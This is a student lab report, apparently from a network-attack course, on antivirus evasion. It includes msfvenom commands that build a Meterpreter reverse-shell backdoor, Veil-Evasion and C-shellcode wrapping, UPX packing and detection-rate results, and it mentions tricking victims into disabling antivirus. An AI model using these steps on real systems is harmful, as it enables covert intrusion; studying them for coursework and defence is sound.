20154321《网络对抗技术》免杀原理与实践
Exp3 免杀原理与实践
20154321何思影
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件。
②启发式恶意软件检测:就是根据一个程序的特征和行为如果与恶意软件相似,就判定为恶意软件。
③基于行为的恶意软件检测:同启发式,启发式偏向于对程序的特征扫描,基于行为的则是多了对程序的行为监控。
(2)免杀是做什么?
免杀就是使恶意软件能不被AV软件的检测出来,其本身安装的后门能够不被发现,成功存活下来。
(3)免杀的基本方法有哪些?
1、改变特征码:
如果是类似exe的可执行文件可以加壳,例如压缩壳
如果是shellcode可以用encode进行编码或者用payload重新编译生成可执行文件
如果是源代码可以用其他语言进行重写再编译(veil-evasion)
2、改变行为:
通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
3、非常规方法:
①使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
②使用社工类攻击,诱骗目标关闭AV软件。
③纯手工打造一个恶意软件。
二、实验步骤
使用Msfvenom编码器
使用指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.133 PORT=4321 -f exe > hesiying01.exe 生成一个可执行文件放到网站 http://www.virscan.org 上检测,结果如下:
可以发现检测率有48%,说明裸后门文件被发现的可能性还是挺高的。于是我们试试多次编码后会不会降低被检测率
使用Veil-Evasion
veil-evasion和Metasploit类似,可以生成后门文件,但Linux里没有需要我们自己安装,用 sudo apt-get install veil-evasion 指令下载软件包,下载好后输入 veil 开始安装。
安装完成后自动进入 veil (下次想调用,输入 veil 即可)。
list 指令可以查看可使用的工具,选择 evasion (或者直接输入 use evasion )
同上 list 可查看可使用的 payload
使用 use 指令选择一个工具,这里我选择了 7 号,然后设置一下 LHOST和 LPORT , 生成 exe 文件,命名一下就顺利生成文件.
生成完成后去那个目录把文件复制到wIndows上检测。
检测率下降了挺多,只有20%了,然而还是会被 360 扫出来。
C语言调用Shellcode
输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.133 LPORT=4321 -f c 生成一个c语言格式的Shellcode数组
Linux平台交叉编译Windows应用
将生成部分复制,粘贴到自己创建的一个c格式文件中,添加一个main函数保存退出。
使用指令 i686-w64-mingw32-g++ hesiying06.c -o hesiying-06.exe 将创建的c格式文件转化为64位windows系统下的exe文件。
复制到windows系统下,自己创建一个c文件编译并运行,将复制的hesiying03.exe 替换掉其中的exe文件编译并运行,最后的这个exe文件就是我们的后门文件了。在Linux里用MSF监听(步骤参考上次实验),成功回连。
放到Virscan上扫描仍有7个AV报毒,17%的杀毒软件报告发现病毒。
加壳压缩壳UPX
直接用upx将MSF直接生成的文件加壳。
上传到virscan扫描。
效果并不理想。
离实战还缺些什么技术或步骤
1.我们要成功监听的话必须要靶机启动可执行文件,可以通过下载软件的时候可以捆绑到软件上,但是执行还是有一定难度的。
2.现在的杀毒软件的各种特征库更新的很快,要想达到实战还需要做到灵活更新。
实验心得与体会
这是网络对抗技术的第三次实验,通过这次实验,我对上次实验的理解更深了。我发现一些杀毒软件并没有太大作用,除了免杀以外还要进一步学习如何使靶机上当,将后门程序传到靶机上,并且成功在肉机上运行,这几个条件都是缺一不可的,还有待学习。虽然每次上课听不懂,做实验有点懵,但在同学帮助下自己花点时间还是能做出来的。虽然很烦但是总归还是能学到点东西这就值得了。行了,又完成一次,再接再厉!